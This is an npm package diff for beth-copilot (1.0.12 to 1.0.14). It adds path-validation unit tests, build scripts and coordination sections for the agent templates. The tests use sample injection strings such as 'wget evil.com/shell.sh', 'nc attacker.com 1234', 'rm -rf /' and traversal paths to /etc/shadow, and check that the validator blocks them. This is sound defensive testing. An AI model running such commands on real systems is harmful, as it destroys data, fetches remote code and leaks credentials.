beth-copilot 1.0.12 → 1.0.14

package/dist/lib/pathValidation.test.js

@@ -0,0 +1,195 @@
+/**
+ * Unit tests for TypeScript path validation utilities.
+ * Run with: node --test dist/lib/pathValidation.test.js
+ *
+ * These tests mirror the JavaScript tests in bin/lib/pathValidation.test.js
+ * to ensure the TypeScript port maintains the same behavior.
+ */
+import { describe, it } from 'node:test';
+import assert from 'node:assert';
+import { containsTraversal, containsShellInjection, checkExecutable, validateBinaryPath, validateBeadsPath, validateBacklogPath, } from './pathValidation.js';
+describe('containsTraversal (TypeScript)', () => {
+    it('should detect ../ traversal', () => {
+        assert.strictEqual(containsTraversal('../file'), true);
+        assert.strictEqual(containsTraversal('path/../file'), true);
+        assert.strictEqual(containsTraversal('/path/../file'), true);
+        assert.strictEqual(containsTraversal('path/..'), true);
+    });
+    it('should detect ..\\ traversal (Windows)', () => {
+        assert.strictEqual(containsTraversal('..\\file'), true);
+        assert.strictEqual(containsTraversal('path\\..\\file'), true);
+        assert.strictEqual(containsTraversal('C:\\path\\..\\file'), true);
+    });
+    it('should detect standalone ..', () => {
+        assert.strictEqual(containsTraversal('..'), true);
+    });
+    it('should allow normal paths', () => {
+        assert.strictEqual(containsTraversal('/usr/local/bin/bd'), false);
+        assert.strictEqual(containsTraversal('/home/user/.local/bin/bd'), false);
+        assert.strictEqual(containsTraversal('C:\\Users\\name\\bin\\bd.exe'), false);
+    });
+    it('should allow paths with dots in filenames', () => {
+        assert.strictEqual(containsTraversal('/path/to/file.test.js'), false);
+        assert.strictEqual(containsTraversal('/path/.hidden/file'), false);
+    });
+});
+describe('containsShellInjection (TypeScript)', () => {
+    it('should detect command chaining characters', () => {
+        assert.strictEqual(containsShellInjection('/bin/bd; rm -rf /'), true);
+        assert.strictEqual(containsShellInjection('/bin/bd && evil'), true);
+        assert.strictEqual(containsShellInjection('/bin/bd || evil'), true);
+        assert.strictEqual(containsShellInjection('/bin/bd | grep'), true);
+    });
+    it('should detect backticks and subshells', () => {
+        assert.strictEqual(containsShellInjection('/bin/`whoami`'), true);
+        assert.strictEqual(containsShellInjection('/bin/$(whoami)'), true);
+        assert.strictEqual(containsShellInjection('/bin/${evil}'), true);
+    });
+    it('should detect quotes', () => {
+        assert.strictEqual(containsShellInjection('/bin/bd"evil"'), true);
+        assert.strictEqual(containsShellInjection("/bin/bd'evil'"), true);
+    });
+    it('should detect redirections', () => {
+        assert.strictEqual(containsShellInjection('/bin/bd > /etc/passwd'), true);
+        assert.strictEqual(containsShellInjection('/bin/bd < /etc/passwd'), true);
+    });
+    it('should allow normal paths', () => {
+        assert.strictEqual(containsShellInjection('/usr/local/bin/bd'), false);
+        assert.strictEqual(containsShellInjection('/home/user/.local/bin/bd'), false);
+        assert.strictEqual(containsShellInjection('C:\\Users\\name\\bin\\bd.exe'), false);
+    });
+});
+describe('validateBinaryPath (TypeScript)', () => {
+    describe('basic validation', () => {
+        it('should reject empty paths', () => {
+            const result1 = validateBinaryPath('');
+            assert.strictEqual(result1.valid, false);
+            assert.ok(result1.error?.includes('empty'));
+            const result2 = validateBinaryPath('   ');
+            assert.strictEqual(result2.valid, false);
+        });
+        it('should reject paths with traversal', () => {
+            const result = validateBinaryPath('../../../etc/passwd');
+            assert.strictEqual(result.valid, false);
+            assert.ok(result.error?.includes('traversal'));
+        });
+        it('should reject paths with shell injection', () => {
+            const result = validateBinaryPath('/bin/bd; rm -rf /');
+            assert.strictEqual(result.valid, false);
+            assert.ok(result.error?.includes('dangerous'));
+        });
+        it('should reject paths with null bytes', () => {
+            const result = validateBinaryPath('/bin/bd\0evil');
+            assert.strictEqual(result.valid, false);
+            assert.ok(result.error?.includes('null'));
+        });
+        it('should reject excessively long paths', () => {
+            const longPath = '/bin/' + 'a'.repeat(5000);
+            const result = validateBinaryPath(longPath);
+            assert.strictEqual(result.valid, false);
+            assert.ok(result.error?.includes('length'));
+        });
+    });
+    describe('allowedBasenames validation', () => {
+        it('should reject paths with non-allowed basenames', () => {
+            const result = validateBinaryPath('/usr/bin/evil', {
+                allowedBasenames: ['bd', 'backlog'],
+                checkExists: false,
+            });
+            assert.strictEqual(result.valid, false);
+            assert.ok(result.error?.includes('allowed list'));
+        });
+        it('should accept paths with allowed basenames', () => {
+            const result = validateBinaryPath('/usr/bin/bd', {
+                allowedBasenames: ['bd', 'backlog'],
+                checkExists: false,
+            });
+            assert.strictEqual(result.valid, true);
+        });
+    });
+});
+describe('validateBeadsPath (TypeScript)', () => {
+    it('should reject non-bd binaries', () => {
+        const result = validateBeadsPath('/usr/bin/evil');
+        assert.strictEqual(result.valid, false);
+        assert.ok(result.error?.includes('allowed list') || result.error?.includes('not found'));
+    });
+    it('should reject paths with traversal even for bd', () => {
+        const result = validateBeadsPath('../../../usr/bin/bd');
+        assert.strictEqual(result.valid, false);
+        assert.ok(result.error?.includes('traversal'));
+    });
+});
+describe('validateBacklogPath (TypeScript)', () => {
+    it('should reject non-backlog binaries', () => {
+        const result = validateBacklogPath('/usr/bin/evil');
+        assert.strictEqual(result.valid, false);
+        assert.ok(result.error?.includes('allowed list') || result.error?.includes('not found'));
+    });
+    it('should reject paths with shell injection', () => {
+        const result = validateBacklogPath('/bin/backlog; rm -rf /');
+        assert.strictEqual(result.valid, false);
+        assert.ok(result.error?.includes('dangerous'));
+    });
+});
+describe('checkExecutable (TypeScript)', () => {
+    it('should return exists=false for non-existent files', () => {
+        const result = checkExecutable('/nonexistent/path/to/binary');
+        assert.strictEqual(result.exists, false);
+        assert.strictEqual(result.executable, false);
+    });
+    it('should detect executable files', () => {
+        // Use a known executable on Unix systems
+        if (process.platform !== 'win32') {
+            const result = checkExecutable('/bin/sh');
+            assert.strictEqual(result.exists, true);
+            assert.strictEqual(result.executable, true);
+        }
+    });
+});
+describe('Type exports', () => {
+    it('should export ValidationResult type correctly', () => {
+        const valid = { valid: true, normalizedPath: '/bin/bd' };
+        const invalid = { valid: false, error: 'Test error' };
+        assert.strictEqual(valid.valid, true);
+        assert.strictEqual(valid.normalizedPath, '/bin/bd');
+        assert.strictEqual(invalid.valid, false);
+        assert.strictEqual(invalid.error, 'Test error');
+    });
+    it('should export ExecutableCheckResult type correctly', () => {
+        const result = { exists: true, executable: true };
+        assert.strictEqual(result.exists, true);
+        assert.strictEqual(result.executable, true);
+    });
+});
+describe('Attack scenario prevention (TypeScript)', () => {
+    it('should prevent path traversal to system files', () => {
+        const attacks = [
+            '../../../etc/passwd',
+            '..\\..\\..\\windows\\system32\\config\\sam',
+            '/usr/bin/../../../etc/shadow',
+        ];
+        for (const attack of attacks) {
+            const result = validateBinaryPath(attack);
+            assert.strictEqual(result.valid, false, `Should block: ${attack}`);
+        }
+    });
+    it('should prevent command injection via path', () => {
+        const attacks = [
+            '/bin/bd; cat /etc/passwd',
+            '/bin/bd && wget evil.com/shell.sh',
+            '/bin/bd | nc attacker.com 1234',
+            '/bin/$(whoami)',
+            '/bin/`id`',
+        ];
+        for (const attack of attacks) {
+            const result = validateBinaryPath(attack);
+            assert.strictEqual(result.valid, false, `Should block: ${attack}`);
+        }
+    });
+    it('should prevent null byte injection', () => {
+        const result = validateBinaryPath('/bin/bd\0.txt');
+        assert.strictEqual(result.valid, false);
+    });
+});
+//# sourceMappingURL=pathValidation.test.js.map

package/dist/lib/pathValidation.test.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"pathValidation.test.js","sourceRoot":"","sources":["../../src/lib/pathValidation.test.ts"],"names":[],"mappings":"AAAA;;;;;;GAMG;AAEH,OAAO,EAAE,QAAQ,EAAE,EAAE,EAAE,MAAM,WAAW,CAAC;AACzC,OAAO,MAAM,MAAM,aAAa,CAAC;AACjC,OAAO,EACL,iBAAiB,EACjB,sBAAsB,EACtB,eAAe,EACf,kBAAkB,EAClB,iBAAiB,EACjB,mBAAmB,GAGpB,MAAM,qBAAqB,CAAC;AAE7B,QAAQ,CAAC,gCAAgC,EAAE,GAAG,EAAE;IAC9C,EAAE,CAAC,6BAA6B,EAAE,GAAG,EAAE;QACrC,MAAM,CAAC,WAAW,CAAC,iBAAiB,CAAC,SAAS,CAAC,EAAE,IAAI,CAAC,CAAC;QACvD,MAAM,CAAC,WAAW,CAAC,iBAAiB,CAAC,cAAc,CAAC,EAAE,IAAI,CAAC,CAAC;QAC5D,MAAM,CAAC,WAAW,CAAC,iBAAiB,CAAC,eAAe,CAAC,EAAE,IAAI,CAAC,CAAC;QAC7D,MAAM,CAAC,WAAW,CAAC,iBAAiB,CAAC,SAAS,CAAC,EAAE,IAAI,CAAC,CAAC;IACzD,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,wCAAwC,EAAE,GAAG,EAAE;QAChD,MAAM,CAAC,WAAW,CAAC,iBAAiB,CAAC,UAAU,CAAC,EAAE,IAAI,CAAC,CAAC;QACxD,MAAM,CAAC,WAAW,CAAC,iBAAiB,CAAC,gBAAgB,CAAC,EAAE,IAAI,CAAC,CAAC;QAC9D,MAAM,CAAC,WAAW,CAAC,iBAAiB,CAAC,oBAAoB,CAAC,EAAE,IAAI,CAAC,CAAC;IACpE,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,6BAA6B,EAAE,GAAG,EAAE;QACrC,MAAM,CAAC,WAAW,CAAC,iBAAiB,CAAC,IAAI,CAAC,EAAE,IAAI,CAAC,CAAC;IACpD,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,2BAA2B,EAAE,GAAG,EAAE;QACnC,MAAM,CAAC,WAAW,CAAC,iBAAiB,CAAC,mBAAmB,CAAC,EAAE,KAAK,CAAC,CAAC;QAClE,MAAM,CAAC,WAAW,CAAC,iBAAiB,CAAC,0BAA0B,CAAC,EAAE,KAAK,CAAC,CAAC;QACzE,MAAM,CAAC,WAAW,CAAC,iBAAiB,CAAC,8BAA8B,CAAC,EAAE,KAAK,CAAC,CAAC;IAC/E,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,2CAA2C,EAAE,GAAG,EAAE;QACnD,MAAM,CAAC,WAAW,CAAC,iBAAiB,CAAC,uBAAuB,CAAC,EAAE,KAAK,CAAC,CAAC;QACtE,MAAM,CAAC,WAAW,CAAC,iBAAiB,CAAC,oBAAoB,CAAC,EAAE,KAAK,CAAC,CAAC;IACrE,CAAC,CAAC,CAAC;AACL,CAAC,CAAC,CAAC;AAEH,QAAQ,CAAC,qCAAqC,EAAE,GAAG,EAAE;IACnD,EAAE,CAAC,2CAA2C,EAAE,GAAG,EAAE;QACnD,MAAM,CAAC,WAAW,CAAC,sBAAsB,CAAC,mBAAmB,CAAC,EAAE,IAAI,CAAC,CAAC;QACtE,MAAM,CAAC,WAAW,CAAC,sBAAsB,CAAC,iBAAiB,CAAC,EAAE,IAAI,CAAC,CAAC;QACpE,MAAM,CAAC,WAAW,CAAC,sBAAsB,CAAC,iBAAiB,CAAC,EAAE,IAAI,CAAC,CAAC;QACpE,MAAM,CAAC,WAAW,CAAC,sBAAsB,CAAC,gBAAgB,CAAC,EAAE,IAAI,CAAC,CAAC;IACrE,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,uCAAuC,EAAE,GAAG,EAAE;QAC/C,MAAM,CAAC,WAAW,CAAC,sBAAsB,CAAC,eAAe,CAAC,EAAE,IAAI,CAAC,CAAC;QAClE,MAAM,CAAC,WAAW,CAAC,sBAAsB,CAAC,gBAAgB,CAAC,EAAE,IAAI,CAAC,CAAC;QACnE,MAAM,CAAC,WAAW,CAAC,sBAAsB,CAAC,cAAc,CAAC,EAAE,IAAI,CAAC,CAAC;IACnE,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,sBAAsB,EAAE,GAAG,EAAE;QAC9B,MAAM,CAAC,WAAW,CAAC,sBAAsB,CAAC,eAAe,CAAC,EAAE,IAAI,CAAC,CAAC;QAClE,MAAM,CAAC,WAAW,CAAC,sBAAsB,CAAC,eAAe,CAAC,EAAE,IAAI,CAAC,CAAC;IACpE,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,4BAA4B,EAAE,GAAG,EAAE;QACpC,MAAM,CAAC,WAAW,CAAC,sBAAsB,CAAC,uBAAuB,CAAC,EAAE,IAAI,CAAC,CAAC;QAC1E,MAAM,CAAC,WAAW,CAAC,sBAAsB,CAAC,uBAAuB,CAAC,EAAE,IAAI,CAAC,CAAC;IAC5E,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,2BAA2B,EAAE,GAAG,EAAE;QACnC,MAAM,CAAC,WAAW,CAAC,sBAAsB,CAAC,mBAAmB,CAAC,EAAE,KAAK,CAAC,CAAC;QACvE,MAAM,CAAC,WAAW,CAAC,sBAAsB,CAAC,0BAA0B,CAAC,EAAE,KAAK,CAAC,CAAC;QAC9E,MAAM,CAAC,WAAW,CAAC,sBAAsB,CAAC,8BAA8B,CAAC,EAAE,KAAK,CAAC,CAAC;IACpF,CAAC,CAAC,CAAC;AACL,CAAC,CAAC,CAAC;AAEH,QAAQ,CAAC,iCAAiC,EAAE,GAAG,EAAE;IAC/C,QAAQ,CAAC,kBAAkB,EAAE,GAAG,EAAE;QAChC,EAAE,CAAC,2BAA2B,EAAE,GAAG,EAAE;YACnC,MAAM,OAAO,GAAG,kBAAkB,CAAC,EAAE,CAAC,CAAC;YACvC,MAAM,CAAC,WAAW,CAAC,OAAO,CAAC,KAAK,EAAE,KAAK,CAAC,CAAC;YACzC,MAAM,CAAC,EAAE,CAAC,OAAO,CAAC,KAAK,EAAE,QAAQ,CAAC,OAAO,CAAC,CAAC,CAAC;YAE5C,MAAM,OAAO,GAAG,kBAAkB,CAAC,KAAK,CAAC,CAAC;YAC1C,MAAM,CAAC,WAAW,CAAC,OAAO,CAAC,KAAK,EAAE,KAAK,CAAC,CAAC;QAC3C,CAAC,CAAC,CAAC;QAEH,EAAE,CAAC,oCAAoC,EAAE,GAAG,EAAE;YAC5C,MAAM,MAAM,GAAG,kBAAkB,CAAC,qBAAqB,CAAC,CAAC;YACzD,MAAM,CAAC,WAAW,CAAC,MAAM,CAAC,KAAK,EAAE,KAAK,CAAC,CAAC;YACxC,MAAM,CAAC,EAAE,CAAC,MAAM,CAAC,KAAK,EAAE,QAAQ,CAAC,WAAW,CAAC,CAAC,CAAC;QACjD,CAAC,CAAC,CAAC;QAEH,EAAE,CAAC,0CAA0C,EAAE,GAAG,EAAE;YAClD,MAAM,MAAM,GAAG,kBAAkB,CAAC,mBAAmB,CAAC,CAAC;YACvD,MAAM,CAAC,WAAW,CAAC,MAAM,CAAC,KAAK,EAAE,KAAK,CAAC,CAAC;YACxC,MAAM,CAAC,EAAE,CAAC,MAAM,CAAC,KAAK,EAAE,QAAQ,CAAC,WAAW,CAAC,CAAC,CAAC;QACjD,CAAC,CAAC,CAAC;QAEH,EAAE,CAAC,qCAAqC,EAAE,GAAG,EAAE;YAC7C,MAAM,MAAM,GAAG,kBAAkB,CAAC,eAAe,CAAC,CAAC;YACnD,MAAM,CAAC,WAAW,CAAC,MAAM,CAAC,KAAK,EAAE,KAAK,CAAC,CAAC;YACxC,MAAM,CAAC,EAAE,CAAC,MAAM,CAAC,KAAK,EAAE,QAAQ,CAAC,MAAM,CAAC,CAAC,CAAC;QAC5C,CAAC,CAAC,CAAC;QAEH,EAAE,CAAC,sCAAsC,EAAE,GAAG,EAAE;YAC9C,MAAM,QAAQ,GAAG,OAAO,GAAG,GAAG,CAAC,MAAM,CAAC,IAAI,CAAC,CAAC;YAC5C,MAAM,MAAM,GAAG,kBAAkB,CAAC,QAAQ,CAAC,CAAC;YAC5C,MAAM,CAAC,WAAW,CAAC,MAAM,CAAC,KAAK,EAAE,KAAK,CAAC,CAAC;YACxC,MAAM,CAAC,EAAE,CAAC,MAAM,CAAC,KAAK,EAAE,QAAQ,CAAC,QAAQ,CAAC,CAAC,CAAC;QAC9C,CAAC,CAAC,CAAC;IACL,CAAC,CAAC,CAAC;IAEH,QAAQ,CAAC,6BAA6B,EAAE,GAAG,EAAE;QAC3C,EAAE,CAAC,gDAAgD,EAAE,GAAG,EAAE;YACxD,MAAM,MAAM,GAAG,kBAAkB,CAAC,eAAe,EAAE;gBACjD,gBAAgB,EAAE,CAAC,IAAI,EAAE,SAAS,CAAC;gBACnC,WAAW,EAAE,KAAK;aACnB,CAAC,CAAC;YACH,MAAM,CAAC,WAAW,CAAC,MAAM,CAAC,KAAK,EAAE,KAAK,CAAC,CAAC;YACxC,MAAM,CAAC,EAAE,CAAC,MAAM,CAAC,KAAK,EAAE,QAAQ,CAAC,cAAc,CAAC,CAAC,CAAC;QACpD,CAAC,CAAC,CAAC;QAEH,EAAE,CAAC,4CAA4C,EAAE,GAAG,EAAE;YACpD,MAAM,MAAM,GAAG,kBAAkB,CAAC,aAAa,EAAE;gBAC/C,gBAAgB,EAAE,CAAC,IAAI,EAAE,SAAS,CAAC;gBACnC,WAAW,EAAE,KAAK;aACnB,CAAC,CAAC;YACH,MAAM,CAAC,WAAW,CAAC,MAAM,CAAC,KAAK,EAAE,IAAI,CAAC,CAAC;QACzC,CAAC,CAAC,CAAC;IACL,CAAC,CAAC,CAAC;AACL,CAAC,CAAC,CAAC;AAEH,QAAQ,CAAC,gCAAgC,EAAE,GAAG,EAAE;IAC9C,EAAE,CAAC,+BAA+B,EAAE,GAAG,EAAE;QACvC,MAAM,MAAM,GAAG,iBAAiB,CAAC,eAAe,CAAC,CAAC;QAClD,MAAM,CAAC,WAAW,CAAC,MAAM,CAAC,KAAK,EAAE,KAAK,CAAC,CAAC;QACxC,MAAM,CAAC,EAAE,CAAC,MAAM,CAAC,KAAK,EAAE,QAAQ,CAAC,cAAc,CAAC,IAAI,MAAM,CAAC,KAAK,EAAE,QAAQ,CAAC,WAAW,CAAC,CAAC,CAAC;IAC3F,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,gDAAgD,EAAE,GAAG,EAAE;QACxD,MAAM,MAAM,GAAG,iBAAiB,CAAC,qBAAqB,CAAC,CAAC;QACxD,MAAM,CAAC,WAAW,CAAC,MAAM,CAAC,KAAK,EAAE,KAAK,CAAC,CAAC;QACxC,MAAM,CAAC,EAAE,CAAC,MAAM,CAAC,KAAK,EAAE,QAAQ,CAAC,WAAW,CAAC,CAAC,CAAC;IACjD,CAAC,CAAC,CAAC;AACL,CAAC,CAAC,CAAC;AAEH,QAAQ,CAAC,kCAAkC,EAAE,GAAG,EAAE;IAChD,EAAE,CAAC,oCAAoC,EAAE,GAAG,EAAE;QAC5C,MAAM,MAAM,GAAG,mBAAmB,CAAC,eAAe,CAAC,CAAC;QACpD,MAAM,CAAC,WAAW,CAAC,MAAM,CAAC,KAAK,EAAE,KAAK,CAAC,CAAC;QACxC,MAAM,CAAC,EAAE,CAAC,MAAM,CAAC,KAAK,EAAE,QAAQ,CAAC,cAAc,CAAC,IAAI,MAAM,CAAC,KAAK,EAAE,QAAQ,CAAC,WAAW,CAAC,CAAC,CAAC;IAC3F,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,0CAA0C,EAAE,GAAG,EAAE;QAClD,MAAM,MAAM,GAAG,mBAAmB,CAAC,wBAAwB,CAAC,CAAC;QAC7D,MAAM,CAAC,WAAW,CAAC,MAAM,CAAC,KAAK,EAAE,KAAK,CAAC,CAAC;QACxC,MAAM,CAAC,EAAE,CAAC,MAAM,CAAC,KAAK,EAAE,QAAQ,CAAC,WAAW,CAAC,CAAC,CAAC;IACjD,CAAC,CAAC,CAAC;AACL,CAAC,CAAC,CAAC;AAEH,QAAQ,CAAC,8BAA8B,EAAE,GAAG,EAAE;IAC5C,EAAE,CAAC,mDAAmD,EAAE,GAAG,EAAE;QAC3D,MAAM,MAAM,GAAG,eAAe,CAAC,6BAA6B,CAAC,CAAC;QAC9D,MAAM,CAAC,WAAW,CAAC,MAAM,CAAC,MAAM,EAAE,KAAK,CAAC,CAAC;QACzC,MAAM,CAAC,WAAW,CAAC,MAAM,CAAC,UAAU,EAAE,KAAK,CAAC,CAAC;IAC/C,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,gCAAgC,EAAE,GAAG,EAAE;QACxC,yCAAyC;QACzC,IAAI,OAAO,CAAC,QAAQ,KAAK,OAAO,EAAE,CAAC;YACjC,MAAM,MAAM,GAAG,eAAe,CAAC,SAAS,CAAC,CAAC;YAC1C,MAAM,CAAC,WAAW,CAAC,MAAM,CAAC,MAAM,EAAE,IAAI,CAAC,CAAC;YACxC,MAAM,CAAC,WAAW,CAAC,MAAM,CAAC,UAAU,EAAE,IAAI,CAAC,CAAC;QAC9C,CAAC;IACH,CAAC,CAAC,CAAC;AACL,CAAC,CAAC,CAAC;AAEH,QAAQ,CAAC,cAAc,EAAE,GAAG,EAAE;IAC5B,EAAE,CAAC,+CAA+C,EAAE,GAAG,EAAE;QACvD,MAAM,KAAK,GAAqB,EAAE,KAAK,EAAE,IAAI,EAAE,cAAc,EAAE,SAAS,EAAE,CAAC;QAC3E,MAAM,OAAO,GAAqB,EAAE,KAAK,EAAE,KAAK,EAAE,KAAK,EAAE,YAAY,EAAE,CAAC;QAExE,MAAM,CAAC,WAAW,CAAC,KAAK,CAAC,KAAK,EAAE,IAAI,CAAC,CAAC;QACtC,MAAM,CAAC,WAAW,CAAC,KAAK,CAAC,cAAc,EAAE,SAAS,CAAC,CAAC;QACpD,MAAM,CAAC,WAAW,CAAC,OAAO,CAAC,KAAK,EAAE,KAAK,CAAC,CAAC;QACzC,MAAM,CAAC,WAAW,CAAC,OAAO,CAAC,KAAK,EAAE,YAAY,CAAC,CAAC;IAClD,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,oDAAoD,EAAE,GAAG,EAAE;QAC5D,MAAM,MAAM,GAA0B,EAAE,MAAM,EAAE,IAAI,EAAE,UAAU,EAAE,IAAI,EAAE,CAAC;QAEzE,MAAM,CAAC,WAAW,CAAC,MAAM,CAAC,MAAM,EAAE,IAAI,CAAC,CAAC;QACxC,MAAM,CAAC,WAAW,CAAC,MAAM,CAAC,UAAU,EAAE,IAAI,CAAC,CAAC;IAC9C,CAAC,CAAC,CAAC;AACL,CAAC,CAAC,CAAC;AAEH,QAAQ,CAAC,yCAAyC,EAAE,GAAG,EAAE;IACvD,EAAE,CAAC,+CAA+C,EAAE,GAAG,EAAE;QACvD,MAAM,OAAO,GAAG;YACd,qBAAqB;YACrB,4CAA4C;YAC5C,8BAA8B;SAC/B,CAAC;QAEF,KAAK,MAAM,MAAM,IAAI,OAAO,EAAE,CAAC;YAC7B,MAAM,MAAM,GAAG,kBAAkB,CAAC,MAAM,CAAC,CAAC;YAC1C,MAAM,CAAC,WAAW,CAAC,MAAM,CAAC,KAAK,EAAE,KAAK,EAAE,iBAAiB,MAAM,EAAE,CAAC,CAAC;QACrE,CAAC;IACH,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,2CAA2C,EAAE,GAAG,EAAE;QACnD,MAAM,OAAO,GAAG;YACd,0BAA0B;YAC1B,mCAAmC;YACnC,gCAAgC;YAChC,gBAAgB;YAChB,WAAW;SACZ,CAAC;QAEF,KAAK,MAAM,MAAM,IAAI,OAAO,EAAE,CAAC;YAC7B,MAAM,MAAM,GAAG,kBAAkB,CAAC,MAAM,CAAC,CAAC;YAC1C,MAAM,CAAC,WAAW,CAAC,MAAM,CAAC,KAAK,EAAE,KAAK,EAAE,iBAAiB,MAAM,EAAE,CAAC,CAAC;QACrE,CAAC;IACH,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,oCAAoC,EAAE,GAAG,EAAE;QAC5C,MAAM,MAAM,GAAG,kBAAkB,CAAC,eAAe,CAAC,CAAC;QACnD,MAAM,CAAC,WAAW,CAAC,MAAM,CAAC,KAAK,EAAE,KAAK,CAAC,CAAC;IAC1C,CAAC,CAAC,CAAC;AACL,CAAC,CAAC,CAAC"}

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "beth-copilot",
-  "version": "1.0.12",
+  "version": "1.0.14",
   "description": "Beth - A ruthless, hyper-competent AI orchestrator for GitHub Copilot multi-agent workflows",
   "keywords": [
     "github-copilot",
@@ -27,18 +27,30 @@
   },
   "files": [
     "bin/",
+    "dist/",
     "templates/",
     "assets/",
     "sbom.json",
     "CHANGELOG.md"
   ],
   "scripts": {
+    "build": "tsc",
+    "build:watch": "tsc --watch",
     "test": "node --test bin/lib/*.test.js",
+    "test:ts": "pnpm run build && node --test dist/lib/*.test.js dist/cli/commands/*.test.js dist/core/agents/*.test.js dist/core/skills/*.test.js",
+    "test:all": "pnpm run test && pnpm run test:ts",
     "sbom:generate": "npx @cyclonedx/cyclonedx-npm --output-file sbom.json --output-format JSON",
-    "prepublishOnly": "npm run sbom:generate"
+    "prepublishOnly": "npm run build && npm run sbom:generate"
   },
   "engines": {
     "node": ">=18"
   },
-  "type": "module"
+  "type": "module",
+  "devDependencies": {
+    "@types/node": "^20.11.0",
+    "typescript": "^5.3.0"
+  },
+  "dependencies": {
+    "gray-matter": "^4.0.3"
+  }
 }

package/templates/.github/agents/developer.agent.md

@@ -45,6 +45,15 @@ This project uses a dual tracking system:
 
 If Beth spawned you with an issue ID, that issue is your contract. Deliver against it and close it.
 
+## Team Coordination
+
+**Beth is the orchestrator** who coordinates all agent workflows. You operate as a specialist on Beth's team:
+
+- **Spawned by Beth**: You may be invoked as a subagent via `runSubagent` with a specific task and expected deliverables
+- **Report results**: When your task is complete, provide a clear summary of files changed, architecture decisions, and any remaining work
+- **Stay in lane**: Focus on your expertise (React/TypeScript/Next.js implementation); hand off to other specialists via Beth for work outside your domain
+- **Escalate blockers**: If you hit blockers or need information from other agents, report back to Beth for coordination
+
 ## First Run: MCP Setup Check
 
 **On first activation**, check if the shadcn MCP server is configured:

package/templates/.github/agents/product-manager.agent.md

@@ -41,6 +41,15 @@ This project uses a dual tracking system:
 
 If Beth spawned you with an issue ID, that issue is your contract. Deliver against it and close it.
 
+## Team Coordination
+
+**Beth is the orchestrator** who coordinates all agent workflows. You operate as a specialist on Beth's team:
+
+- **Spawned by Beth**: You may be invoked as a subagent via `runSubagent` with a specific task and expected deliverables
+- **Report results**: When your task is complete, provide a clear summary of what you delivered, decisions made, and any follow-up needed
+- **Stay in lane**: Focus on your expertise (product requirements, prioritization, user stories); hand off to other specialists via Beth for work outside your domain
+- **Escalate blockers**: If you hit blockers or need information from other agents, report back to Beth for coordination
+
 ## Skills
 
 When the user asks to create a PRD, product requirements document, or spec out a feature:

package/templates/.github/agents/researcher.agent.md

@@ -36,6 +36,15 @@ This project uses a dual tracking system:
 
 If Beth spawned you with an issue ID, that issue is your contract. Deliver against it and close it.
 
+## Team Coordination
+
+**Beth is the orchestrator** who coordinates all agent workflows. You operate as a specialist on Beth's team:
+
+- **Spawned by Beth**: You may be invoked as a subagent via `runSubagent` with a specific task and expected deliverables
+- **Report results**: When your task is complete, provide a clear summary of findings, insights, and recommendations
+- **Stay in lane**: Focus on your expertise (user research, competitive analysis, insight synthesis); hand off to other specialists via Beth for work outside your domain
+- **Escalate blockers**: If you hit blockers or need information from other agents, report back to Beth for coordination
+
 ## Core Philosophy
 
 Research is the foundation of human-centered design:

package/templates/.github/agents/security-reviewer.agent.md

@@ -1,4 +1,3 @@
-````chatagent
 ---
 name: security-reviewer
 description: Enterprise security specialist applying Azure Well-Architected Framework and OWASP standards. Performs threat modeling, vulnerability assessment, compliance verification, and security architecture review. Use for security audits, penetration testing guidance, secure code review, or compliance validation.
@@ -42,6 +41,15 @@ This project uses a dual tracking system:
 
 If Beth spawned you with an issue ID, that issue is your contract. Deliver against it and close it.
 
+## Team Coordination
+
+**Beth is the orchestrator** who coordinates all agent workflows. You operate as a specialist on Beth's team:
+
+- **Spawned by Beth**: You may be invoked as a subagent via `runSubagent` with a specific task and expected deliverables
+- **Report results**: When your task is complete, provide a clear summary of findings with severity ratings, remediation guidance, and compliance status
+- **Stay in lane**: Focus on your expertise (security audits, threat modeling, compliance); hand off to other specialists via Beth for work outside your domain
+- **Escalate blockers**: If you hit blockers or need information from other agents, report back to Beth for coordination
+
 ## Skills
 
 When performing security analysis, threat modeling, or compliance reviews:
@@ -455,4 +463,3 @@ For security test execution:
 | **Medium** | Moderate risk, requires specific conditions | Fix within 1 week |
 | **Low** | Minor issue, defense in depth | Fix in next release |
 
-````

package/templates/.github/agents/tester.agent.md

@@ -46,6 +46,15 @@ This project uses a dual tracking system:
 
 If Beth spawned you with an issue ID, that issue is your contract. Deliver against it and close it.
 
+## Team Coordination
+
+**Beth is the orchestrator** who coordinates all agent workflows. You operate as a specialist on Beth's team:
+
+- **Spawned by Beth**: You may be invoked as a subagent via `runSubagent` with a specific task and expected deliverables
+- **Report results**: When your task is complete, provide a clear test report with pass/fail status, issues found, and release readiness recommendation
+- **Stay in lane**: Focus on your expertise (testing, accessibility audits, performance); hand off to other specialists via Beth for work outside your domain
+- **Escalate blockers**: If you hit blockers or need information from other agents, report back to Beth for coordination
+
 ## Core Philosophy
 
 Quality is not a phase, it's a mindset:

package/templates/.github/agents/ux-designer.agent.md

@@ -40,6 +40,15 @@ This project uses a dual tracking system:
 
 If Beth spawned you with an issue ID, that issue is your contract. Deliver against it and close it.
 
+## Team Coordination
+
+**Beth is the orchestrator** who coordinates all agent workflows. You operate as a specialist on Beth's team:
+
+- **Spawned by Beth**: You may be invoked as a subagent via `runSubagent` with a specific task and expected deliverables
+- **Report results**: When your task is complete, provide a clear summary of design decisions, specifications, and accessibility requirements
+- **Stay in lane**: Focus on your expertise (interaction design, component specs, accessibility); hand off to other specialists via Beth for work outside your domain
+- **Escalate blockers**: If you hit blockers or need information from other agents, report back to Beth for coordination
+
 ## Skills
 
 When designing Framer components or specifying property controls for design system components:

package/templates/.github/copilot-instructions.md

@@ -1,6 +1,6 @@
-# AI Agent Skills Demo Repository
+# Beth - AI Agent System
 
